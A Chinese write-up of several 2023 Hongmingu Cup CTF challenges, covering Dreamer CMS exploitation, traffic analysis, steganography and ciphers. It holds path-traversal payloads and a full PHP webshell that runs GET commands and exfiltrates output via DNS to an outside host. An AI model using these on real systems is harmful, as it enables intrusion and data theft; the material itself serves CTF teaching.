2023红明谷杯部分WP

news2024/12/24 0:06:59

0x00 签到

一直点就能得到flag
image.png

0x01 Dreamer

拿到题感觉有点儿懵
image.png
先下发靶机看一眼
image.png
梦想家CMS,好嘛,我直接一手查找官网
image.png
image.png
直接一手演示中心碰运气
image.png
哎嘿嘿,运气不错进去了,突然想起之前有位大佬写的关于Dreamer CMS的代码审计文章了
https://forum.butian.net/index.php/share/2183
想想题目一开始给的提示,flag在根目录下/flag
image.png
考虑一下使用后台设置栏目存在任意文件读取漏洞看看能不能读取flag
点击左侧栏中的“栏目/文章”选项进入到栏目管理,新建顶级栏目,创建一个命名为测试的顶级栏目。
image.png
在封面模版处,添加路径为:
../../../../../../../../../../flag
image.png

点击保存,访问前台,重新访问对应的顶级栏目,得到flag
image.png

0x02 Dreamer_revenge

image.png
跟上一个题一样
第一种思路是跟上一个题目一样,只不过把访问的文件改成../../.../../../../proc/1/environ
image.png
第二种思路是利用后台模板管理可以任意编辑的漏洞
先把default_v2目录复制一份,修改成default_v3
修改其中的theme.json文件。将其中的themePath值修改成../../../../../../../../../../../../../../
image.png
然后打包default_v3default_v3.zip,到后台风格管理处上传zip文件并启用主题。
Snipaste_2023-04-19_15-54-32.png
Snipaste_2023-04-19_15-54-15.png
此时再去访问模版管理即可从根目录访问所有文件
image.png
跟之前一样,访问/proc/1/environ,即可找到flag
Snipaste_2023-04-19_15-53-38.png

0x03 hacker

<?php $servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";
$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account=\'admin\'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
$conn=null;
$param=$_GET["cmd"];
$password=$result["password"];
$output=shell_exec($param);
$hex_output=bin2hex($output);
$hex_password=bin2hex($password);
$len_output=strlen($hex_output);
$len_password=strlen($hex_password);
$max_subdomain_length=62;
$subdomain_base="yafgcy.ceye.io";
$hex_xor="";
for ($i=0;$i<$len_output;$i++) {
	$char_output=$hex_output[$i];
	$char_password=$hex_password[$i%$len_password];
	$char_xor=dechex(hexdec($char_output)^hexdec($char_password));
	if(strlen($hex_xor.$char_xor)>$max_subdomain_length) {
		if(strlen($hex_xor)%2!=0) {
			$subdomain="0"."$hex_xor.$subdomain_base";
		} else {
			$subdomain="$hex_xor.$subdomain_base";
		}
		gethostbyname($subdomain);
		$hex_xor="";
	} else {
		$hex_xor.=$char_xor;
	}
}
if(strlen($hex_xor)%2!=0) {
	$subdomain="0"."$hex_xor.$subdomain_base";
} else {
	$subdomain="$hex_xor.$subdomain_base";
}
gethostbyname($subdomain);
?>

可以看到执行命令的被外带了,响应包并不会有回显
image.png
注入查询出来的数据库数据,里面有admin的密码
image.png

<xmp class='a-left'>select account,password from zt_user</xmp>{"status":"success","data":"[{\"account\":\"admin\",\"password\":\"8a3e684c923b763d252cf1e8734a7a29\"},{\"account\":\"productManager\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"projectManager\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"dev1\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"dev2\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"dev3\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"tester1\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"tester2\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"tester3\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"testManager\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"test\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"}]","md5":"71cfaa7002d809c0860d3749abb3454c"}

有了加密逻辑以及密码,就可以解密数据了,外带的数据也被wireshark截获了
image.png
去除重复的,总共有八段数据,一开始测试的时候发现除了第一条和第四条能成功解密,其他都是乱码,经过摸索才发现每条需要按照[0:] [1:] [2:] [4:]截断,其中[1:]的还得去掉最后一位,才能正确解密,而且解密出来的明文在开头还会丢失一两位字符。可能与加密逻辑的 if (strlen($hex_xor . $char_xor) > $max_subdomain_length) {...}这段处理有关,不过我实在看不出来这段为啥会造成数据丢失

59115a4b465044695a5a56015c4252065e501c130e416f5c5647556b510044
0 5b0e5d4b5f5b5b69505c57074f18430c423f5b0c0852105a521d4409476b 5
4a 32135c07594c474d4d4a47684453501657411c171e456f4c5f5659043d19
0c49 5011391d4e40054d495a4368
79227024716c7522787370254c777230667673222570247b76677322632671
d 7b357226771575227a7372237677702573611f372570317b767277207620 6
14 79207024777b60247e6674231a626727666171372570317f766773207620
0678 79226731756c60206d75703670754e

根据加密逻辑,解密处理

<?php 
$hex_output = "59115a4b465044695a5a56015c4252065e501c130e416f5c5647556b510044";
$hex_password = bin2hex("8a3e684c923b763d252cf1e8734a7a29");
$len_output = strlen($hex_output);
$len_password = strlen($hex_password);
$hex_xor = "";
for ($i = 0; $i < $len_output; $i++) {
    $char_data = $hex_output[$i];
    $char_password = $hex_password[$i % $len_password];
    $output = dechex(hexdec($char_data) ^ hexdec($char_password));
    $hex_xor .= $output;
}
echo $hex_xor."\n";
echo hex2bin($hex_xor);
?>

解密结果:

api.php
checktable.php
data
favcon.ico
index.php
ioncube.php
robots.txt
secret.txt
theme
xhp
xxx1.php
ACCAGTAAAACG{AATTCAACAACATGCTGCCTACA-AACAAAAACAAT-TCATCAACAAAAACAACTGGTGA-TTCTTCTCATGATGAAAACTTCTTCTGCTGC}

flag经过DNS Cipher处理:https://github.com/karma9874/DNA-Cipher-Script-CTF
替换几位会发现flag格式是uuid形式的,按照以下这个规则替换即可

'AAA':'a'
'AAC':'b'
'AAG':'c'
'AAT':'d'
'ACA':'e'
'ACC':'f'
'TCA':'1'
'TCC':'2'
'TCG':'3'
'TCT':'4'
'TGA':'5'
'TGC':'6'
'TGG':'7'
'TGT':'8'
'TTA':'9'
'TTC':'0'

有丢失,尝试根据DNA Cipher的规则猜测

ACC AGT AAA ACG { AAT TCA ACA ACA TGC TGC
f    l   a   g  {  d   1   e   e   6   6
[T]CT ACA - AAC AAA AAC AAT - TCA TCA ACA AA[A/C/G/T]
  4    e  -  b   a   b   d  -  1   1   e   a/b/c/d
AAC AAC TGG TGA - TTC TTC TCA TGA TGA AA[A/C/G/T]
 b   b   7   5  -  0   0   1   5  5    a/b/c/d
[A]AC TTC TTC TGC TGC}
b   0   0   6   6}

最终flag: flag{d1ee664e-babd-11ed-bb75-00155db0066}

0x04 阿尼亚

image.png
netpixeljihad.png是在提醒PixelJihad stego: https://sekao.net/pixeljihad/
不过需要密码,图片末尾附加了一串数字,两次hex之后Text Encoding Brute Force
image.png
得到压缩包密码,使用https://sekao.net/pixeljihad/ 这个网站进行解密
image.png
解压后的文件如下
image.png

+-+-++--+- ++---+-++- -+--++-++- +--++-++-- --+++++--- ++-++---+- +++-+-+--- +-+-+---++ ---+++-++- -+--++-++- -+--+++-+- -+--++-++- -+--++-++- ++-+-+-+-- -+--+++-+- ++-++---+- -++++---+- -+--++-++- ++-+-+-+-- +-+++---+- +++-++---- ---+++-++- +-+-+---++ ++-+-+-+-- +-+-+--++- ++--+--++- -++++---+- +---+++-+- ++-+-+-+-- -++++---+- -+--+++-+- +--+-+-++- +++-+-+--- +-+++---+- -+--+-+++- -+--++-++- ---+++-++- ++++----+- -++++---+- -+--+++-+- -+--++-++- ----+++++-

https://www.dcode.fr/decabit-code 使用该网站解密即可
image.png

0x05 X光的秘密

使用microDicom查看题目给出的文件
image.png
导出图片看看:File->Export->To a picture file...
注意选择没有注解的,不勾选Show annotations以及勾选Without overlay
image.png
Stegsolve看了看开头和结尾几张图片,发现最后三张图片有LSB痕迹
image.png
image.png
但是LSB,又看不出来啥,不过这里是灰度图,所以观察下单通道数据
task_Frame18.png
image.png
task_Frame19.png
image.png
task_Frame20.png
image.png
一开始看到三张都有LSB数据,以为可能是RGB数据,尝试读取每一位写成像素,组成一张图片,发现不是,直接看字节看不出来什么,尝试转成二进制再看看,各取第一个字节分析下

0x91: 1001 0001
0x61: 0110 0001
0x16: 0001 0110

0x89: 1000 1001

按照18->19->20的顺序把二进制的每一位连接起来,组了前八位发现0x89,果然还是三张图片的LSB数据拆分组合形成组成新图片,只不过是二进制的每一位。接下来就好办了,Stegsolve把每张图片的LSB数据导出来
先把二进制数据取出来,注意补高

file_list = ['flag1', 'flag2', 'flag3']
bindata_file = ['bin_data1', 'bin_data2', 'bin_data3']

for i in range(len(file_list)):
	bin_data = ""
	with open(file_list[i], 'rb') as f:
		data = f.read()
		for idx in range(len(data)):
			bin_data += "{:08b}".format(data[idx])
		with open(bindata_file[i], 'w') as f1:
			f1.write(bin_data)

然后再按照顺序把每张图的LSB数据的每一位二进制拼接起来,最后转成PNG图片即可

with open('bin_data1', 'r') as f:
	bin_data1 = f.read()
with open('bin_data2', 'r') as f:
	bin_data2 = f.read()
with open('bin_data3', 'r') as f:
	bin_data3 = f.read()
all_bin_data = ""
for i in range(len(bin_data1)):
	all_bin_data += bin_data1[i] + bin_data2[i] + bin_data3[i]
hex_data = ""
for i in range(0, len(all_bin_data), 8):
	hex_data += "{:02x}".format(int(all_bin_data[i:i+8], 2))
with open('flag.png', 'wb') as f:
	f.write(bytes.fromhex(hex_data))

得到flag
image.png

0x06 参考文章

https://forum.butian.net/index.php/share/2183
https://blog.csdn.net/mochu7777777/article/details/130255217

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/442416.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux网络设置】

目录 一、查看网络接口信息1.1、查看所有活动的网络接口信息1.2、查看指定网络接口信息 二、查看主机名称2.1、hostname命令2.2、永久设置主机名 三、查看路由表条目route命令 四、查看网络连接情况4.1、netstat命令4.2、ss命令 五、测试网络连接ping命令 6、跟踪数据包tracerr…

CorelDRAW2023最新版本配置及新功能介绍

从简单的线框到令人称叹的水平&#xff0c;使用CorelDRAW Graphics Suite 2023开始您的设计之旅&#xff1a;一套完整的专业图形设计应用程序&#xff0c;用于矢量插图、布局、照片编辑等。CorelDRAW平面设计软件通常也被叫做CDR&#xff0c;CDR广泛应用于排版印刷、矢量图形编…

关于电脑出厂时间查询工具的构思

在做一个单位的计算机盘点、管理的时候&#xff0c;很容易遇见需要知道电脑的采购时间&#xff0c;或者出厂时间。这个信息能够帮助管理人员决定电脑是否该按定期报废制度进行报废或更换。 目前为止&#xff0c;作者接触过的各类电脑&#xff0c;没有看到过哪台电脑有专门的一…

windows系统中安装目标检测平台detectron2

更多内容&#xff0c;欢迎访问老五笔记 detectron2是Facebook研发并开源的目标检测平台&#xff0c;包含了大量业内最具代表性的目标检测、图像分割、关键点检测算法等。Detectron2基于新版的Pytorch进行更新&#xff0c;包含了更大的灵活性与扩展性。​ 笔者将在本文中介绍如…

IS220UCSAH1A利用电子和空穴两种载流子导电的,所以叫做双极型电路

IS220UCSAH1A利用电子和空穴两种载流子导电的&#xff0c;所以叫做双极型电路 美国的通用电气公司&#xff08;General Electric Company&#xff0c;以下简称 GE&#xff09;想要称霸整个工业互联网&#xff0c;但却失败了。为什么呢&#xff1f; 多年来&#xff0c;GE 一直在…

关于CSDN文章内嵌视频自动播放问题

关于CSDN文章内嵌视频自动播放问题 1. 源由2. 分析3. 反馈4. 沟通5. 总结6. 附录-Firefox配置7. 附录-Microsoft Edge配置 1. 源由 这个问题是4月初发现的&#xff0c;主要现象就是页面上的视频一起自动播放了。 鉴于笔者有不少帖子都是文字、表格、图片、视频结合的。视频是…

机器学习:opencv案例——人脸检测

目录标题 实验数据实验原理实验步骤实验结果 实验数据 lena.jpg face3.jpg video.mp4 实验原理 &#xff08;1&#xff09;图片灰度转换 OpenCV 中有数百种关于在不同色彩空间之间转换的方法。 当前&#xff0c; 在计算机视觉中有三种常用的色彩空间&#xff1a; 灰度、 BG…

redis lpush rpop List消息队列实现

List 队列&#xff1a; 生产者存入消息&#xff1a; LPUSH queue2 msg1 LPUSH queue2 msg2 LPUSH queue2 msg3 消费者消费消息&#xff1a; RPOP queue2 RPOP queue2 RPOP queue2写个死循环消费&#xff1a; while true://没消息阻塞等待,3秒超时返回null,设置0时没消息一直浪…

JavaSE学习进阶day07_02 异常

第三章 异常 3.1 异常概念 异常&#xff0c;就是不正常的意思。在生活中:医生说,你的身体某个部位有异常,该部位和正常相比有点不同,该部位的功能将受影响.在程序中的意思就是&#xff1a; 异常 &#xff1a;指的是程序在执行过程中&#xff0c;出现的非正常的情况&#xff0…

Android---屏幕适配

为什么要适配 由于 Android 系统的开放性&#xff0c;任何用户、开发者、OEM 厂商、运营商都可以对 Android 进行定制&#xff0c;于是导致运行 Android 的设备多种多样&#xff0c;它们有着不同的屏幕尺寸和像素密度。尽管系统可以通过基本的缩放和调整大小功能使界面适应不同…

【LeetCode: 53. 最大子数组和 | 暴力递归=>记忆化搜索=>动态规划 | 分治法 】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

抽象类,内部类,匿名类

java学习第十天 抽象类 1.用abstract关键字来修饰一个类时,这个类就叫抽象类 访问修饰符 abstract 类名 { } 2.用abstract关键字来修饰一个方法时,这个方法就是抽象方法访问修饰符abstract返回类型方法名(参数列表);//没有方法体 3.抽象类的价值更多作用是在于设计,是设计者…

ROS学习第十四节——参数服务器控制小乌龟

1.使用命令修改参数服务器 单独使用命令启动小乌龟节点&#xff0c;不是用lanuch文件&#xff0c;不启动键盘控制节点 rosrun turtlesim turtlesim_node 使用命令打印参数服务器参数列表 rosparam list 修改小乌龟节点的背景色 rosparam set /turtlesim/background_b 自定…

网络安全:一次艰难的 WAF 绕过

0x00&#xff1a;前言 做之前没想过有这么难 0x01&#xff1a;后缀绕过 首先看一下 waf 咋工作的&#xff0c;当数据包匹配到 waf 规则后&#xff0c;数据包就会被丢弃掉&#xff0c;就像这样 waf 是拦截后缀的&#xff0c;首先 fuzz 一波换行 失败 多个等于号 失败 单双引号…

入门Pytorch时的一些报错

Anaconda是一个很好的可以管理python环境的工具&#xff0c;推荐大家结合pycharm使用。 我入门时是参照up我的土堆的Pytorch教程来安装学习的&#xff0c;其中也遇到了一些问题。 1. torch.cuda.is_available结果显示False import torch torch.cuda.is_available 用anacon…

4月17号软件资讯更新合集.....

CrateDB 5.3.0 发布&#xff0c;分布式 SQL 数据库 CrateDB 是一个分布式的 SQL 数据库&#xff0c;使得实时存储和分析大量的机器数据变得简单。CrateDB 提供了通常与 NoSQL 数据库相关的可扩展性和灵活性&#xff0c;最小的 CrateDB 集群可以轻松地每秒摄取数万条记录。这些…

通过Python的PIL库给图片添加文本水印

文章目录 前言一、PIL是什么&#xff1f;二、安装PIL三、查看PIL版本四、使用PIL库给图片添加文本水印1.引入库2.打开图片文件3.新建一个Draw对象4.设置水印文字、字体、大小5.设置水印颜色5.1通过名称设置颜色5.2通过RGB值设置颜色5.3通过RGBA值设置颜色5.4通过十六进制设置颜…

Word控件Spire.Doc 【脚注】字体(3):将Doc转换为PDF时如何使用卸载的字体

Spire.Doc for .NET是一款专门对 Word 文档进行操作的 .NET 类库。在于帮助开发人员无需安装 Microsoft Word情况下&#xff0c;轻松快捷高效地创建、编辑、转换和打印 Microsoft Word 文档。拥有近10年专业开发经验Spire系列办公文档开发工具&#xff0c;专注于创建、编辑、转…

HttpServletRequest的介绍和方法以及代码实战

目录 HttpServletRequest HttpServletRequest 介绍 HttpServletRequest 常用方法 代码实战 HTML部分 Java部分 web.xml配置 请求转发 为什么需要请求转发 请求转发说明 请求转发原理示意图 代码实战 HTML部分 CheckServlet部分 ManageServlet 部分 xml部分 请求…

【Linux】进程的概念

文章目录 &#x1f4d6; 前言1. 冯诺依曼体系结构1.1 内存存在的意义&#xff1a;1.2 程序加载到内存的意义&#xff1a;1.3 程序的预加载&#xff1a; 2. 认识进程2.1 如何理解管理&#xff1a;2.2 什么叫是进程&#xff1a;&#xff08;初步理解&#xff09; 3. 简单认识操作…